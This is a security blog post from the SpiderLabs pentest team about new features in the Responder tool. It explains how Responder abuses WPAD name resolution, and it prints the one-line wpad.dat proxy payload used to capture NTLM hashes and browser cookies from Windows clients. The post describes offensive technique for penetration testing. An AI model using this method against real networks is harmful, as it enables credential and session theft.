One of the great things about working within SpiderLabs is that we prefer to use our own tools whenever possible. The biggest advantage to using your own toolset is lot more control over what's happening during the testing process; helping to avoid any nasty side effects. It also provides a better insight into vulnerabilities and where best they can be used. For these reasons there has been a lot of support from my colleagues on the SpiderLabs network pentest team for Responder.
Another advantage is the ability to greatly shorten the feedback/development loop. New Responder features have been suggested by members of the pentest team and we've been able to test then deploy them into the field that same day.
NewFunctionalities in Responder:
Built-in proxy server, supporting NTLMSSP and Basic authentication scheme.
This proxy is listening on port TCP 3141 and can be switched to on/off.
The HTTP server was updated to handle WPAD requests.
Built-in LDAP rogue server supporting NTLMSSP and Simple Bind (clear text) authentication schemes. This module can be combined with the ICMP-Redirect utility and the DNS server to be reliably effective.
How WPAD works:
WPAD in a corporate Windows environment is used to automatically configure Internet Explorer proxy settings. This functionality is enabled by default on all Windows release since Windows 2000.
WPAD setup can be boiled down like this:
If no wpad file was specified in a DHCP-INFORM packet (opcode 252), a DNS type A query will be issued for wpad, if DNS fail, then Link-local Multicast Name Resolution (LLMNR) will be used on Windows >= Vista, if it fail again then NetBIOS Name Service (NBT-NS) will be used.
Once the WPAD server is found, the client will initiate an HTTP GET request and
retrieve /wpad.dat file which is a javascript like file. This file is meant to contain basic or advanced proxy usage directives.
Once this file is retrieved, Internet Explorer will use the retrieved settings and
connect to the proxy server for all HTTP requests.
This website provides a good guide on how to implement your wpad.dat files for your needs.
Abusing the WPAD functionality, the Responder way:
In this release, responder takes care of Web Proxy Autodiscovery Protocol (WPAD) requests. Responder will answer to WPAD LLMNR, NBT-NS queries and provide a wpad.dat file. The javascript payload used is pretty simple:
function FindProxyForURL(url, host) { return 'PROXY wpadwpadwpad:3141; DIRECT'; }
This function contains the following directives:
Use a proxy server for all connections.
Responder proxy server is set to wpadwpadwpad:3141
If this proxy server fails for whatever reason, then access the website directly.
Once Internet Explorer retrieves this file, all connections will be redirected to Responder proxy server. It can be noted that no IP address is specified for this proxy but a local name (wpadwpadwpad) and there's a reason for that:
We want to have this local name to be queried via LLMNR or NBT-NS, which Responder will resolve.
Once this Local Intranet Zone (LIZ) name is resolved, Internet Explorer will connect to Responder and send its NTLM hashes transparently with no password prompt.
The second trick is to abruptly reset the HTTP connection upon receiving Internet Explorer's last NTLM packet exchange (NTLMSSP_AUTH) which contains the NTLM credentials. This allows us to fake a proxy failure so IE will simply connect directly to the website it requested.
The cool catch in this is that for each connection IE will try to reuse the proxy even if it failed before. This means that Responder is able to catch the cookies for each web request transparently.
This screenshot demonstrates what happens when you open Internet Explorer on a Windows Server 2008R2 Domain Controller by default:
Since everything works well, the user continues to browse online :
As it can be noted, Responder was able to grab the cookies for google.com and msn.ca and the currently logged in user NTLM credentials.
In this video, you can see Responder 1.9 taking advantage of WPAD:
Since a lot of cookies can be gathered while using Responder, they are now stored in a folder named HTTPCookies.